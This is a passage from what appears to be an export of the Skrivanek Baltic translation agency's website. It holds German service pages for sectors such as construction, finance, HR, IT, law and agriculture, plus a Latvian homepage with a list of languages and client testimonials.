anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Dienstleistungen für das Bauwesen: Übersetzung, Dolmetschen, notarielle Beglaubigung. Lokalisierung und Sprachunterricht Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-buvniecibas-nozare/ - Translation Priorities: Optional Jeder der im Baugewerbe arbeitet weiß, wie wichtig Präzision und Fristen sind. Sie sind Profis, die sich keine Abweichungen leisten können, denn Sie wissen, wie wichtig selbst die kleinsten Details sind und es ist Ihnen wichtig, dass Ihre Partner ebenso verantwortungsbewusst sind. Skrivanek liefert genaue und technisch präzise Übersetzungen, Dolmetschen und andere Sprachdienstleistungen für Bauunternehmen und ist sehr gewissenhaft in Bezug auf Abgabefristen. Unser Team besteht aus Sprachspezialisten mit fachspezifischem Hintergrund und Wissen, während unsere erfahrenen Projektmanager ihr Bestes tun, um auch bei den schwierigsten Projekten einen reibungslosen Arbeitsablauf zu gewährleisten. Ganz gleich, ob Sie eine schriftliche Übersetzung oder Dolmetscherdienste bei Geschäftstreffen benötigen, die Sprachspezialisten von Skrivanek sorgen für qualitativ hochwertige Ergebnisse bei allen Übersetzungen, einschließlich Unternehmenspublikationen, Ausschreibungsvorschriften und -spezifikationen, verschiedene Marketingmaterialien, technische Projektdokumentation und alle anderen Texte, die Sie übersetzen lassen möchten. Unser Team von Sprachspezialisten besteht nicht nur aus philologisch ausgebildeten Personen, sondern auch aus Personen mit ingenieurwissenschaftlichem Hintergrund, was für die Verwendung der korrekten Terminologie entscheidend ist. Gebäudebau, Straßenbau, verschiedene Spezialarbeiten im Innenausbau, Elektroinstallation, Architekturarbeit oder andere Bauarbeiten aller Art - wir achten auf jedes Detail, denn nur so können wir fachlich korrekte und dem Standard entsprechende Übersetzungen gewährleisten. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR FÜR DAS BAUWESEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung der technischen Unterlagen für Ausschreibungen und deren einzelne Phasen; Übersetzung verschiedener Marketingmaterialien in digitaler und gedruckter Form, einschließlich Verkaufsmaterial, Produktdatenblätter und Broschüren; Übersetzung und Formatierung von Zeichnungen und Layouts, einschließlich DTP-Dienstleistungen; Übersetzung von Bauverträgen, Vorschriften und Lizenzen; Übersetzung von Kostenvoranschlägen und Bescheinigungen; Übersetzungen für die Architekturbranche; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, z. B. Konferenzen, Geschäftsessen und Geschäftstreffen; Fachsprachunterricht und andere Dienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Dienstleistungen für das Finanz- und Bankwesen: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachunterricht. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-finansu-un-banku-nozarei/ - Translation Priorities: Optional Sie als Fachexperte in der Finanzbranche brauchen zuverlässige Partner, die ein tiefes Verständnis für die Branche haben und qualitative Dienstleistungen erbringen können. Skrivanek bietet seit mehr als 25 Jahren qualitative Übersetzungen für die Finanzbranche. Egal ob Sie jemanden für das Übersetzen, Korrekturlesen, Dolmetschen Ihre Meetings oder Konferenzen oder das Anpassen Ihrer SEO-Texte suchen, das Fachpersonal von Skrivanek steht Ihnen stets zur Seite. Banken, Finanz- und Kreditinstitute und andere Unternehmen, die in der Finanzbranche tätig sind, können sich auf die Qualität unserer Dienste verlassen, denn wir beherrschen die Terminologie der Branche und kennen uns mit den Gesetzen aus. Gerne können wir bei Bedarf die Texte auch an die einheimischen Forderungen lokalisieren. Die Zusammenarbeit mit Skrivanek garantiert bewährte Dienstleistungen. Unsere Sprachspezialisten verfügen über mehrjährige Erfahrung in der Finanzbranche. Wir helfen Ihnen, Zeit und Geld zu sparen, da wir die innovativsten Übersetzungs- und Textverarbeitungstechnologien einsetzen und ein Höchstmaß an Datensicherheit gewährleisten, damit Ihre Daten nicht an Dritte weitergegeben werden können. Alle Aufträge werden von unseren erfahrenen Projektmanagern koordiniert, die die Bedürfnisse unserer Kunden genau kennen und für die Dauer Ihres Übersetzungsprojekts zu einem Teil Ihres Teams werden. Dank unserer weitreichenden Erfahrung und unseres großen Teams von Übersetzern und Dolmetschern können wir jeden Auftrag bewältigen, egal wie groß oder dringend er ist. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR FÜR DIE FINANZBRANCHE IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung von allen Marketingmaterialien, sowohl in digitaler als auch in gedruckter Form, einschließlich Verkaufsmaterial, Stilratgeber, Produktdatenblätter, E-Mail-Kampagnen usw. ; Übersetzung von Investitions- und Marktberichten, Jahresberichten, Finanzsektorforschung; Übersetzung verschiedener Vereinbarungen, Vorschriften und Lizenzen; Softwarelokalisierung für Finanzdienstleistungen; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, z. B. Konferenzen, Geschäftsessen und Geschäftstreffen; Sprachunterricht, einschließlich von Fachterminologie; alle anderen Dienstleistungen, die Sie brauchen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Dienstleistungen im Personalwesen: Übersetzen, Dolmetschen. Lokalisierung und Sprachunterricht Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-hr-nozarei/ - Translation Priorities: Optional Ihr Ziel im Personalwesen ist es, die besten Fachleute auf ihrem Gebiet zu finden und gewinnen, die fähig sind, bei Ihren Projekten mitzuwirken. Das Team von Skrivanek besteht aus Sprachspezialisten, die Ihnen helfen, die richtigen Worte in der Zielsprache zu finden, damit Sie die besten Leute für eine Zusammenarbeiten aussuchen können. Dies ist besonders wichtig bei der Suche von Mitarbeitern, die mehrsprachig arbeiten sollen: Unser einzigartiges FOCUS-Tool hilft Ihnen, schnell und effizient herauszufinden, auf welchem Sprachniveau Ihre Bewerber sind und wie hoch ihr Kenntnisstand ist. Sollten Ihre Mitarbeiter ihre Sprachkenntnisse verbessern müssen, sind stets bei der Skrivanek Baltic Sprachenschule willkommen, welche Sprachkurse auf verschiedenen Sprachniveaus und mit unterschiedlicher Intensität anbietet. Im Personalwesen ist es wichtig, allen Mitarbeitern dieselben Unternehmenswerte zu vermitteln, unabhängig von der Sprache, in der sie kommuniziert werden. Die Sprachspezialisten von Skrivanek sorgen für präzise Übersetzungs- und Dolmetscherdienste in jeder der gängigsten europäischen Sprachen und sorgen dafür, dass Ihre Botschaft in der Übersetzung nicht verloren geht. Die Übersetzer von Skrivanek bieten Ihnen qualitativ hochwertige Übersetzungen aller Dokumente, die Sie übersetzen lassen möchten, einschließlich Arbeitsverträge, Unternehmensvorschriften, interne Mitteilungen und andere. Unsere Sprachspezialisten kennen sich mit den kulturspezifischen Aspekten und einheimischen Märkten aus und können deswegen Texte für eine bestimmte Zielgruppe in jedem Land und in jeder Sprache erstellen. Darüber hinaus können wir Texte an jedes Zielpublikum anpassen. FOLGENDE DIENSTLEISTUNGEN IM BEREICH DES PERSONALWESEN BIETEN WIR IN ALLEN GÄNGIGEN SPRACHEN AN: Übersetzung von Arbeitsverträgen und anderen Vereinbarungen; Teilnahme an Vorstellungsgesprächen und Bewertung der Sprachkenntnisse der Bewerber; Übersetzung der internen Vorschriften; Übersetzung von internem Kommunikationsmaterial; Übersetzung von Empfehlungsschreiben; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, z. B. Konferenzen, Geschäftsessen und Geschäftstreffen; Sprachunterricht als Gruppen- oder Einzelunterricht; FOCUS-Online-Tool zur Überprüfung der Sprachkompetenz; und andere Sprachdienstleistungen, die Sie benötigen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Sprachdienstleistungen für die IT- und Gaming-Branche: Übersetzen, Dolmetschen, Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-it-un-spelu-nozarei/ - Translation Priorities: Optional Die Informationstechnologie (IT)-Branche spricht ihre eigene Sprache. Ihnen ist als IT-Fachperson sicherlich bewusst, wie wichtig die richtige Terminologie in der Kommunikation mit Ihren Kollegen ist und wie wichtig es ist, Informationen dem Endbenutzer so einfach wie möglich zu vermitteln. Unsere Sprachspezialisten bilden hier eine Brücke zwischen den IT-Spezialisten und Kunden, indem sie benutzerfreundliche Texte anfertigen. Skrivanek bietet akkurate und präzise Übersetzungs- und Dolmetscherdienste für die IT- und Gaming-Branche und hält sich gewissenhaft an die Abgabefristen. Zu unserem Team gehören erfahrene Sprachspezialisten, die mit der IT-Terminologie und den neuesten Entwicklungen in der Branche vertraut sind und die technischen Spezifikationen von Produkten genauestens wiedergeben können. Ob Sie eine Übersetzung, Lokalisierung, Sprachunterricht brauchen, um auf dem Exportmarkt Fuß zu fassen oder Dolmetschen oder Dolmetscherdienste bei verschiedenen Geschäftstreffen brauchen, Skrivanek ist für Sie da. Die Sprachspezialisten von Skrivanek erstellen qualitativ hochwertige Texte für alle Ihre Materialien, einschließlich verschiedener Handbücher, technischer Beschreibungen, Firmenpublikationen, Marketingmaterialien und anderer Texte. Die Fachkompetenz unserer Spezialisten ermöglicht es uns, die Lokalisierung von Software und Computerspielen auf hohem Niveau durchzuführen. Unsere Spezialisten verwenden verschiedene automatisierte Programme im Übersetzungs- und Lokalisierungsprozess, die dazu beitragen, dass die in der IT-Branche so wichtigen Programmcodes und Befehle erhalten bleiben. FOLGENDE DIENSTLEISTUNGEN BIETEN WIR IN DER IT- UND GAMING-BRANCHE IN MEHR ALS 110 SPRACHKOMBINATIONEN AN: Lokalisierung von Software und Computerspielen; Google Ads und SEO-Übersetzungen Übersetzung von Bedienungsanleitungen; Vorbereitung von Unternehmensmaterialien; Übersetzung von vergleichenden Berichten, Artikeln und Pressemitteilungen; Übersetzung von Vereinbarungen, Vorschriften und Lizenzen; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen wie Seminaren, Konferenzen und Geschäftstreffen; fachspezifischer Sprachunterricht; alle anderen Sprachdienstleistungen, die Sie brauchen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, SCHNELLIGKEIT UND QUALITATIVER SERVICE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Erstklassige Sprachdienstleistungen für die Rechtsbranche: Übersetzungen, Dolmetschen, notariell beglaubigte Übersetzungen und Sprachkurse. - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-jurisprudences-nozarei/ - Translation Priorities: Optional Die von Ihnen vertretene Rechtsbranche wirkt sich auf zahllose andere Verfahren und Prozesse, ja sogar auf das Schicksal von Menschen aus, so dass Sie besser als jeder andere verstehen, wie wichtig die richtige Wortwahl und Formulierung sein kann. Die Sprachspezialisten von Skrivanek sind mit dem Rechtssystem bestens vertraut, was bedeutet, dass Sie sich mit unseren Sprachdienstleistungen ganz auf Ihr Kerngeschäft konzentrieren können. Ob Sie Übersetzungen von Verträgen, Gesetzen, Verordnungen oder Gerichtsentscheidungen oder Dolmetscherdienste bei Gerichtsverfahren brauchen - Skrivanek ist für Sie da. Unser Team besteht aus Fachleuten, die mit juristischen Texten tief vertraut sind und den Ausgangstext so übersetzen können, dass sowohl der Inhalt als auch die juristische Bedeutung des Originaldokuments in der Zielsprache erhalten bleibt. Bei der Übersetzung juristischer Texte und Dokumente halten wir uns strikt an die Formulierungs- und Formatierungsvorschriften. Egal in welcher Branche, Diskretion bei der Arbeit mit Texten und Kunden hat bei uns stets Priorität. Wir sind nach ISO 27001 und ISO 9001 zertifiziert. Wir sind stolz und dankbar für die aktive Zusammenarbeit mit verschiedenen staatlichen und kommunalen Einrichtungen, EU-Agenturen und bekannten Anwaltskanzleien. WIR BIETEN DER RECHTSBRANCHE DIE FOLGENDEN DIENSTLEISTUNGEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHKOMBINATIONEN AN: Übersetzung von Gesetzen, Verordnungen und deren Entwürfen; Übersetzung von Verträgen und Projekten; Übersetzung von Gerichtsentscheidungen und Rechtsprechung; Übersetzung von Bescheiden, Forderungen und Anträgen; Übersetzung von Vollmachten; Übersetzung von Expertenmeinungen und Schlussfolgerungen; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen, einschließlich Gerichtsverfahren und Simultandolmetschen in Gebärdensprache; spezialisierter Sprachunterricht für verschieden Sprachniveaus; Assistenzdienste für ausländische Vertreter; und andere Sprachdienstleistungen, die Sie brauchen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Qualitative Sprachdienstleistungen für die Land- und Forstwirtschaft: Übersetzungen, Dolmetschen, notarielle Beglaubigungen. Lokalisierung und Sprachunterricht. Erfahren Sie mehr! - Published: 2025-01-06 - Modified: 2025-07-17 - URL: https://skrivanek.lv/tulkosanas-nozares/specializetie-tulkojumi-lauksaimniecibas-un-mezkopibas-nozarei/ - Translation Priorities: Optional Die Land- und Forstwirtschaft ist für die lettische Wirtschaft von entscheidender Bedeutung, aber ihre Entwicklung ist ohne länderübergreifende Zusammenarbeit nicht denkbar. Die einwandfreie Kommunikation ist eine der Voraussetzungen für eine erfolgreiche Geschäftsentwicklung. Die Sprachspezialisten von Skrivanek helfen Ihnen bei der Kommunikation mit Kunden, Partnern und Institutionen der Europäischen Union, damit Sie sich unbesorgt auf Ihr Kerngeschäft konzentrieren können. Unsere Übersetzer und Dolmetscher verfügen über große Erfahrungen sowohl in der Übersetzung jeglicher Dokumente, als auch beim Dolmetschen, welches auch große internationale Projekte umfasst. Darüber hinaus können wir aufgrund der landwirtschaftlichen Kenntnisse unserer Fachleute präzise Übersetzungen mit der richtigen Terminologie der verschiedenen land- und forstwirtschaftlichen Maschinenhandbücher und Richtlinien für den richtigen Pflanzenanbau in unserer Region gewährleisten. Unser Team ist groß genug, sodass wir sicherlich den passenden Übersetzer für Ihre Bedürfnisse finden werden. Ackerbau, Viehzucht, Geflügelzucht, Schweinehaltung, Schafzucht, Pflanzenbau, selektive Züchtung, Forstwissenschaft und landwirtschaftliche Verbesserungen sind die Spezialgebiete unserer Sprachspezialisten. Deswegen werden wir bevorzugt für die Zusammenarbeit mit staatlichen und kommunalen Organisationen und Unternehmen ausgewählt, die in dieser Branche agieren. WIR BIETEN DER LAND- UND FORSTWIRTSCHAFT DIE FOLGENDEN DIENSTLEISTUNGEN IN ALLEN GÄNGIGEN EUROPÄISCHEN SPRACHEN AN: Übersetzung von technischen Normen und Unterlagen; Übersetzung von Produkt- und Industriemaschinenbeschreibungen; Übersetzung von wissenschaftlichen Artikeln und Forschungsarbeiten; Übersetzung von Wartungs- und Betriebshandbüchern für Maschinen; Übersetzung verschiedener Arten von Lizenzen, Genehmigungen und anderer Dokumente; Erklärung und Klarstellung von EU-Richtlinien; Simultan- oder Konsekutivdolmetschen bei verschiedenen Veranstaltungen wie Konferenzen, Seminaren, Erfahrungsaustausch und Geschäftstreffen; Fachlicher Sprachunterricht; und andere Dienstleistungen, die Sie brauchen. WIR KÜMMERN UNS GERNE UM IHR ANLIEGEN UND FINDEN EINE MAßGESCHNEIDERTE LÖSUNG FÜR SIE Anfrage senden Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Unsere Übersetzer haben Fachkompetenz in den Bereichen Medizin, Recht, Ingenieurwesen und anderen Fachgebieten.️ - Published: 2025-01-06 - Modified: 2025-01-08 - URL: https://skrivanek.lv/tulkosanas-nozares/ - Translation Priorities: Optional Versicherung Bauwesen Personalwesen Finanzen und Bankwesen IT und Gaming Landwirtschaft Recht Forstwirtschaft Maschinenbau und Zugwesen Medizinische und klinische Studien Produktion Werbung und Marketing Handel Tourismus Staatliche und kommunale Einrichtungen ZUVERLÄSSIGKEIT, GESCHWINDIGKEIT UND QUALITÄT DER DIENSTE KRKA D. D. Die Mitarbeiter von Skrivanek sind hilfsbereit, zuvorkommend und haben Verständnis für die Anforderungen unserer pharmazeutischen Übersetzungsaufträge und Übersetzungen aus verschiedenen Sprachkombinationen. Aufträge werden auf höchstem Niveau und höchster ethischer sowie fachlicher Kompetenz innerhalb der vorgegebenen Frist ausgeführt.  SANDOZ D. D. Wir empfehlen Skrivanek Baltic als zuverlässigen Partner für alle Großprojekte, die professionelle Sprachdienstleistungen erfordern.  ADIDAS BALTICS Die Mitarbeiter von Skrivanek sind hilfsbereit und gehen verständnisvoll auf die Anforderungen unserer Übersetzungsaufträge aus den baltischen Sprachen ein. Adidas Baltic empfiehlt anderen Unternehmen, die von diesem Unternehmen angebotenen Dienstleistungen in Anspruch zu nehmen.  --- > Übersetzungen, Dolmetschen und andere Sprachdienstleistungen in allen wichtigen Sprachkombinationen in Europa. Schreiben Sie eine E-Mail an: birojs@skrivanek.lv - Published: 2025-01-06 - Modified: 2025-01-24 - URL: https://skrivanek.lv/?page_id=5 - Translation Priorities: Optional afrikandu aimaru akadiešu albāņu amharu angļu arābu armēņu azerbaidžāņu baltkrievu baškīru bengāļu birmiešu bišlamā bosniešu bulgāru burjatu cvanu čehu čukču dari dāņu dzongke farsi fēru franču grieķu gruzīnu gvaranu hindi holandiešu (flāmu) horvātu igauņu indonēziešu itāļu ivrits īru īslandiešu japāņu katalāņu kazahu kečvu khmeru kiņaruanda kirgīzu ķīniešu komiešu kongu korejiešu kosrājiešu kreoliešu krievu kurdu laosiešu latīņu latviešu lietuviešu maķedoniešu malagasu malajiešu maldīviešu maltiešu marathu moldāvu mongoļu nauruiešu ndebelu nepāliešu njandža (čičevapedi) norvēģu palaviešu pedi (ziemeļsotu) persiešu poļu portugāļu puštu rumāņu rundu samoāņu sanskrits serbu sesoto (dienvidsotu) singāļu slovāku slovēņu somāļu somu spāņu svahili svazu (svatu) šumeru tadžiku tagalu taju tamilu tatāru tibetiešu tigru tongu (tongiešu) turkmēņu turku ukraiņu ungāru urdu uzbeku vācu vendu vjetnamiešu volofu zviedru un citas VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojumi ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi; bērnu nometnes ↗; valodu kursi; u. c. NEATRADĀT VĒLAMO VALODU? NEPIECIEŠAMA KONSULTĀCIJA? Sazināties TIRGŪ JAU VAIRĀK NEKĀ 25 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2020. gadā 0+ Valodas speciālistu 0 ISO sertifikāti NOZARES, KURĀS VISBIEŽĀK VEIKTI TULKOJUMI: Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Allgemeine und fachspezifische Übersetzungen in Englisch. Notariell beglaubigte Übersetzungen. Dolmetscherdienste und andere Dienstleistungen für die englische Sprache. - Published: 2025-01-06 - Modified: 2025-07-18 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-anglu-valoda/ - Translation Priorities: Optional ENGLISCHE ÜBERSETZUNGEN WIE VIEL KOSTEN ÜBERSETZUNGEN INS ENGLISCHE? Die Kosten für die Übersetzung vom und ins Englische werden für jeden Auftrag individuell berechnet. Für die Preiskalkulation werden verschiedene auftragsspezifische Faktoren berücksichtigt, z. B. richtet sich der Preis für mündliche sequentielle und simultane Übersetzungen nach der Zeit der Leistungserbringung, dem Veranstaltungsort, den Reisekosten und dem 